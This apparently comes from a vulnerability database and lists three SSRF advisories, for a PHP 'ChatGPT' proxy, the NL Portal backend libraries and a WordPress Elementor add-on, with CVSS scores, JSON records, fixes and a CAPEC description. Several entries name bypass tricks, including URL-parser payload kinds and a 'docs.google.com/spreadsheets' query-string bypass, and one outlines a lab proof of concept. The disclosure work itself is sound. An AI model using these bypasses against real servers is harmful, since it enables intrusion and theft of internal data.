A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27564"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-03-05T17:15:06Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in pictureproxy.php of ChatGPT commit f9f4bbc allows attackers to force the application to make arbitrary requests via injection of crafted URLs into the urlparameter.",
  "id": "GHSA-xm2p-hxq8-xj3q",
  "modified": "2025-03-20T06:31:08Z",
  "published": "2024-03-05T18:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27564"
    },
    {
      "type": "WEB",
      "url": "https://github.com/dirk1983/chatgpt/issues/114"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/save/https://github.com/dirk1983/chatgpt/blob/f9f4bbc99eed7210b291ec116bd57b3d8276bee5/README.md"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/save/https://github.com/dirk1983/chatgpt/issues/114"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20250320031248/https://mm1.ltd"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20250320032559/https://github.com/dirk1983/chatgpt/blob/f9f4bbc99eed7210b291ec116bd57b3d8276bee5/pictureproxy.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XM3X-9CFW-JHX4

Vulnerability from github – Published: 2026-06-19 14:17 – Updated: 2026-06-19 14:17
VLAI
Summary
NL Portal Backend Libraries: Unauthenticated form resolver forwards the privileged Objecten-API token to a caller-supplied URL (SSRF)
Details

Summary

The public GraphQL resolvers getFormDefinitionByObjectenApiUrl(url) and the deprecated getFormDefinitionById(id) fetch a caller-supplied URL using the privileged Objecten-API token. Because the /graphql endpoint is permitAll() and these resolvers do not declare a CommonGroundAuthentication parameter, an unauthenticated caller can make the backend issue an outbound request carrying Authorization: Token <objecten-api-token> to a caller-influenced URL on the configured Objecten-API host. This is a constrained (same-host) server-side request forgery combined with missing authorization.

Reported responsibly and confirmed in a local lab build against the project's own WebFlux security stack. No production system was accessed.

Affected

  • nl.nl-portal:form (the public resolver / entry point) together with nl.nl-portal:objectenapi (where the host guard lives).
  • First shipped in 1.1.0.RELEASE (2023-10-31); the vulnerable code was introduced on 2023-08-12 (commit b2f87ca) and is present in every release since (1.1.x, 1.2.5, 1.3.0, the 3.0.x line, and 3.1.0 / next-minor, HEAD 45abcd2). Fixed in 3.0.4.RELEASE (see Fix below).

Data flow (confirmed in source)

  1. form/.../graphql/FormDefinitionQuery.kt — @QueryMapping getFormDefinitionByObjectenApiUrl(@Argument url), no CommonGroundAuthentication parameter (same for getFormDefinitionById).
  2. → form/.../service/ObjectsApiFormDefinitionService.kt — passes the URL through unvalidated.
  3. → zgw/objectenapi/.../service/ObjectenApiService.kt getObjectByUrl(url) — the only guard is host equality (URI.create(url).host == objectsApiClientConfig.url.host); no scheme/port/path check.
  4. → zgw/objectenapi/.../client/ObjectsApiClient.kt getObjectByUrl(url) via webClientWithoutBaseUrl(), which attaches the default header Authorization: Token <token> to the fully caller-supplied URL.

Reachability: /graphql is permitAll() (core/.../security/OauthSecurityAutoConfiguration.kt). Authentication is only enforced on resolvers that declare a CommonGroundAuthentication parameter; these do not, and there is no @PreAuthorize/instrumentation safety net. The project's own GraphQLEndpointAuthorizationIT lists getFormDefinitionByObjectenApiUrl as an intentionally public operation — so the unauthenticated reachability is by design; the defect is that an intentionally-public resolver forwards a privileged token to a caller-influenced URL.

Secondary (defense-in-depth): zgw/zaken-api/.../service/ZakenApiService.kt getZaakDetails calls objectsApiClient.getObjectByUrl directly, bypassing the service-level host guard. It is currently only reachable via the authenticated ZaakQuery.zaakdetails field resolver with server-derived URLs, so it is not an unauthenticated vector today — but it shows why the guard belongs in the client.

Proof of concept (lab, against the real WebFlux stack)

  • An unauthenticated POST /graphql calling getFormDefinitionByObjectenApiUrl(url: ...) executes without authentication.
  • With the configured Objecten-API host pointed at a mock server, an outbound request to a caller-chosen port/path on that host carried Authorization: Token <configured-token> — confirming the token is attached to caller-influenced URLs.

Impact and severity — important limitations

Assessed as Medium because two code-level facts constrain practical impact:

  1. No cross-host SSRF / token exfiltration in standard deployments. The token only travels to the configured Objecten-API host. Exfiltration requires an attacker-controlled listener at that host (a different port/path routing elsewhere) — generally not the case in managed deployments. A range of URL-parser bypass payloads was tested (userinfo @, %2f/%00/%09, backslash, #/?, double-host, trailing-dot, IDN/Unicode full-stop, fraction-slash, IPv6); no parser differential was found between the java.net.URI-based guard and the Spring/Netty URI builder used by WebClient — every payload either kept the request on the configured host or was rejected (fail-closed). The lab token-leak PoC works only because the configured host there is localhost; this does not generalize to production.

  2. Arbitrary PII object read is blocked by typed deserialization. The response is deserialized into ObjectsApiObject<ObjectsApiFormIoFormDefinition>, whose envelope fields and data.formDefinition are all non-nullable Kotlin properties (Jackson KotlinModule registered). An object without a top-level data.formDefinition (e.g. taken/berichten/zaakdetails) fails to deserialize (DecodingException) and returns no data. The resolver can therefore only return objects shaped like a form definition — and form definitions are intentionally public (loaded pre-login).

Escalation conditions that would raise severity toward High: - the Objecten-API host shares infrastructure with an attacker-controllable endpoint (other port/path), enabling capture of the privileged token; or - a URL-parser differential is later found that escapes the host guard.

Remediation

  • Move the host validation out of ObjectenApiService.getObjectByUrl and into ObjectsApiClient.getObjectByUrl so the direct caller ZakenApiService.getZaakDetails is covered too, and tighten it from host-only to scheme + host + port + path-prefix. Preferably, do not accept a full URL at all: validate/extract the object UUID and rebuild the URL from the fixed configured base (reuse the existing ObjectsApiClient.getObjectById pattern, /api/v2/objects/{uuid}).
  • Separately decide whether getFormDefinitionByObjectenApiUrl / getFormDefinitionById should remain unauthenticated. They are currently intentionally public (forms load before login); for a stricter posture, add a CommonGroundAuthentication parameter as in the other resolvers — noting this breaks pre-login form loading.

Credit

Reported responsibly by Ray Sabee (https://whitehatsecurity.nl), independent security researcher — GitHub @raysabee.

Fix

Fixed in 3.0.4.RELEASE (commit 39ad80f, PR #700, "rework form module"): - The unauthenticated resolvers getFormDefinitionByObjectenApiUrl and the deprecated getFormDefinitionById were removed from both FormDefinitionQuery and the GraphQL schema. - getFormDefinitionByName now requires a CommonGroundAuthentication parameter (no longer public). - The URL-based service method findObjectsApiFormDefinitionByUrl(url) was removed and replaced by getObjectsApiFormDefinitionById(objectId: UUID), which fetches by UUID via the fixed /api/v2/objects/{uuid} path (no caller-supplied URL, so no SSRF) and validates the object type against the configured form-definition object type. - Form definitions are now retrieved through the new authenticated query getFormDefinitionByTaskId(taskId) in nl.nl-portal:taak, which authorizes the caller against the task (CommonGroundAuthentication, BSN/KVK match, else 401) and derives the form-definition UUID from the task's own server-side data, not from caller input. - No resolver feeds caller-controlled input into ObjectenApiService.getObjectByUrl anymore. The objectenapi module itself was not changed; the fix lives entirely in nl.nl-portal:form and the new nl.nl-portal:taak query.

Upgrade instructions

  • Backend: upgrade nl.nl-portal:* to 3.0.4 (or later).
  • Frontend: upgrade nl-portal-frontend-libraries to v3.0.3 (or later). This is required: the removed GraphQL queries (getFormDefinitionByObjectenApiUrl, getFormDefinitionById) and the now-authenticated getFormDefinitionByName are a breaking change. Frontend v3.0.3 uses the new authenticated getFormDefinitionByTaskId / getFormDefinitionByName queries.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "nl.nl-portal:form"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.1.0"
            },
            {
              "fixed": "3.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55414"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T14:17:18Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe public GraphQL resolvers `getFormDefinitionByObjectenApiUrl(url)` and the deprecated `getFormDefinitionById(id)` fetch a caller-supplied URL using the **privileged Objecten-API token**. Because the `/graphql` endpoint is `permitAll()` and these resolvers do not declare a `CommonGroundAuthentication` parameter, an **unauthenticated** caller can make the backend issue an outbound request carrying `Authorization: Token \u003cobjecten-api-token\u003e` to a **caller-influenced URL on the configured Objecten-API host**. This is a constrained (same-host) server-side request forgery combined with missing authorization.\n\nReported responsibly and confirmed in a local lab build against the project\u0027s own WebFlux security stack. No production system was accessed.\n\n## Affected\n\n- `nl.nl-portal:form` (the public resolver / entry point) together with `nl.nl-portal:objectenapi` (where the host guard lives).\n- First shipped in **1.1.0.RELEASE** (2023-10-31); the vulnerable code was introduced on 2023-08-12 (commit `b2f87ca`) and is present in every release since (1.1.x, 1.2.5, 1.3.0, the 3.0.x line, and 3.1.0 / `next-minor`, HEAD `45abcd2`). Fixed in 3.0.4.RELEASE (see Fix below).\n\n## Data flow (confirmed in source)\n\n1. `form/.../graphql/FormDefinitionQuery.kt` \u2014 `@QueryMapping getFormDefinitionByObjectenApiUrl(@Argument url)`, **no** `CommonGroundAuthentication` parameter (same for `getFormDefinitionById`).\n2. \u2192 `form/.../service/ObjectsApiFormDefinitionService.kt` \u2014 passes the URL through unvalidated.\n3. \u2192 `zgw/objectenapi/.../service/ObjectenApiService.kt` `getObjectByUrl(url)` \u2014 the only guard is host equality (`URI.create(url).host == objectsApiClientConfig.url.host`); **no scheme/port/path check**.\n4. \u2192 `zgw/objectenapi/.../client/ObjectsApiClient.kt` `getObjectByUrl(url)` via `webClientWithoutBaseUrl()`, which attaches the default header `Authorization: Token \u003ctoken\u003e` to the fully caller-supplied URL.\n\n**Reachability:** `/graphql` is `permitAll()` (`core/.../security/OauthSecurityAutoConfiguration.kt`). Authentication is only enforced on resolvers that declare a `CommonGroundAuthentication` parameter; these do not, and there is no `@PreAuthorize`/instrumentation safety net. The project\u0027s own `GraphQLEndpointAuthorizationIT` lists `getFormDefinitionByObjectenApiUrl` as an intentionally public operation \u2014 so the unauthenticated reachability is by design; the defect is that an intentionally-public resolver forwards a privileged token to a caller-influenced URL.\n\n**Secondary (defense-in-depth):** `zgw/zaken-api/.../service/ZakenApiService.kt` `getZaakDetails` calls `objectsApiClient.getObjectByUrl` **directly**, bypassing the service-level host guard. It is currently only reachable via the authenticated `ZaakQuery.zaakdetails` field resolver with server-derived URLs, so it is not an unauthenticated vector today \u2014 but it shows why the guard belongs in the client.\n\n## Proof of concept (lab, against the real WebFlux stack)\n\n- An unauthenticated `POST /graphql` calling `getFormDefinitionByObjectenApiUrl(url: ...)` executes without authentication.\n- With the configured Objecten-API host pointed at a mock server, an outbound request to a **caller-chosen port/path on that host** carried `Authorization: Token \u003cconfigured-token\u003e` \u2014 confirming the token is attached to caller-influenced URLs.\n\n## Impact and severity \u2014 important limitations\n\nAssessed as **Medium** because two code-level facts constrain practical impact:\n\n1. **No cross-host SSRF / token exfiltration in standard deployments.** The token only travels to the *configured* Objecten-API host. Exfiltration requires an attacker-controlled listener at that host (a different port/path routing elsewhere) \u2014 generally not the case in managed deployments. A range of URL-parser bypass payloads was tested (userinfo `@`, `%2f`/`%00`/`%09`, backslash, `#`/`?`, double-host, trailing-dot, IDN/Unicode full-stop, fraction-slash, IPv6); **no parser differential** was found between the `java.net.URI`-based guard and the Spring/Netty URI builder used by WebClient \u2014 every payload either kept the request on the configured host or was rejected (fail-closed). The lab token-leak PoC works only because the configured host there is `localhost`; this does not generalize to production.\n\n2. **Arbitrary PII object read is blocked by typed deserialization.** The response is deserialized into `ObjectsApiObject\u003cObjectsApiFormIoFormDefinition\u003e`, whose envelope fields and `data.formDefinition` are all non-nullable Kotlin properties (Jackson `KotlinModule` registered). An object without a top-level `data.formDefinition` (e.g. taken/berichten/zaakdetails) fails to deserialize (`DecodingException`) and returns no data. The resolver can therefore only return objects shaped like a form definition \u2014 and form definitions are intentionally public (loaded pre-login).\n\n**Escalation conditions** that would raise severity toward High:\n- the Objecten-API host shares infrastructure with an attacker-controllable endpoint (other port/path), enabling capture of the privileged token; or\n- a URL-parser differential is later found that escapes the host guard.\n\n## Remediation\n\n- Move the host validation out of `ObjectenApiService.getObjectByUrl` and into `ObjectsApiClient.getObjectByUrl` so the direct caller `ZakenApiService.getZaakDetails` is covered too, and tighten it from host-only to **scheme + host + port + path-prefix**. Preferably, do not accept a full URL at all: validate/extract the object UUID and rebuild the URL from the fixed configured base (reuse the existing `ObjectsApiClient.getObjectById` pattern, `/api/v2/objects/{uuid}`).\n- Separately decide whether `getFormDefinitionByObjectenApiUrl` / `getFormDefinitionById` should remain unauthenticated. They are currently intentionally public (forms load before login); for a stricter posture, add a `CommonGroundAuthentication` parameter as in the other resolvers \u2014 noting this breaks pre-login form loading.\n\n## Credit\n\nReported responsibly by **Ray Sabee** (https://whitehatsecurity.nl), independent security researcher \u2014 GitHub [@raysabee](https://github.com/raysabee).\n\n\n## Fix\n\nFixed in **3.0.4.RELEASE** (commit `39ad80f`, PR #700, \"rework form module\"):\n- The unauthenticated resolvers `getFormDefinitionByObjectenApiUrl` and the deprecated `getFormDefinitionById` were **removed** from both `FormDefinitionQuery` and the GraphQL schema.\n- `getFormDefinitionByName` now requires a `CommonGroundAuthentication` parameter (no longer public).\n- The URL-based service method `findObjectsApiFormDefinitionByUrl(url)` was removed and replaced by `getObjectsApiFormDefinitionById(objectId: UUID)`, which fetches by UUID via the fixed `/api/v2/objects/{uuid}` path (no caller-supplied URL, so no SSRF) and validates the object type against the configured form-definition object type.\n- Form definitions are now retrieved through the new authenticated query `getFormDefinitionByTaskId(taskId)` in `nl.nl-portal:taak`, which authorizes the caller against the task (`CommonGroundAuthentication`, BSN/KVK match, else `401`) and derives the form-definition UUID from the task\u0027s own server-side data, not from caller input.\n- No resolver feeds caller-controlled input into `ObjectenApiService.getObjectByUrl` anymore. The `objectenapi` module itself was not changed; the fix lives entirely in `nl.nl-portal:form` and the new `nl.nl-portal:taak` query.\n\n## Upgrade instructions\n\n- **Backend:** upgrade `nl.nl-portal:*` to **3.0.4** (or later).\n- **Frontend:** upgrade `nl-portal-frontend-libraries` to **v3.0.3** (or later). This is required: the removed GraphQL queries (`getFormDefinitionByObjectenApiUrl`, `getFormDefinitionById`) and the now-authenticated `getFormDefinitionByName` are a breaking change. Frontend v3.0.3 uses the new authenticated `getFormDefinitionByTaskId` / `getFormDefinitionByName` queries.",
  "id": "GHSA-xm3x-9cfw-jhx4",
  "modified": "2026-06-19T14:17:18Z",
  "published": "2026-06-19T14:17:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nl-portal/nl-portal-backend-libraries/security/advisories/GHSA-xm3x-9cfw-jhx4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nl-portal/nl-portal-backend-libraries/pull/700"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nl-portal/nl-portal-backend-libraries"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "NL Portal Backend Libraries: Unauthenticated form resolver forwards the privileged Objecten-API token to a caller-supplied URL (SSRF)"
}

GHSA-XM79-W8W3-C5R7

Vulnerability from github – Published: 2026-05-02 09:31 – Updated: 2026-05-02 09:31
VLAI
Details

The Royal Elementor Addons plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.7.1057. This is due to insufficient validation of user-supplied URLs in the render_csv_data() function, which can be bypassed by including 'docs.google.com/spreadsheets' in a query parameter, and the subsequent use of these URLs in fopen() calls without blocking internal or private network addresses. This makes it possible for authenticated attackers, with Contributor-level access and above, to make requests to arbitrary URLs and retrieve sensitive information from internal services.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-6229"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-02T08:16:27Z",
    "severity": "HIGH"
  },
  "details": "The Royal Elementor Addons plugin for WordPress is vulnerable to Server-Side Request Forgery in versions up to, and including, 1.7.1057. This is due to insufficient validation of user-supplied URLs in the render_csv_data() function, which can be bypassed by including \u0027docs.google.com/spreadsheets\u0027 in a query parameter, and the subsequent use of these URLs in fopen() calls without blocking internal or private network addresses. This makes it possible for authenticated attackers, with Contributor-level access and above, to make requests to arbitrary URLs and retrieve sensitive information from internal services.",
  "id": "GHSA-xm79-w8w3-c5r7",
  "modified": "2026-05-02T09:31:15Z",
  "published": "2026-05-02T09:31:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6229"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/data-table/widgets/wpr-data-table.php#L1832"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/data-table/widgets/wpr-data-table.php#L1873"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/data-table/widgets/wpr-data-table.php#L1918"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/tags/1.7.1049/modules/data-table/widgets/wpr-data-table.php#L2075"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/data-table/widgets/wpr-data-table.php#L1832"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/data-table/widgets/wpr-data-table.php#L1873"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/data-table/widgets/wpr-data-table.php#L1918"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/royal-elementor-addons/trunk/modules/data-table/widgets/wpr-data-table.php#L2075"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3514363%40royal-elementor-addons\u0026new=3514363%40royal-elementor-addons\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9744055a-b199-4945-afcc-4f5b85f5f1e8?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list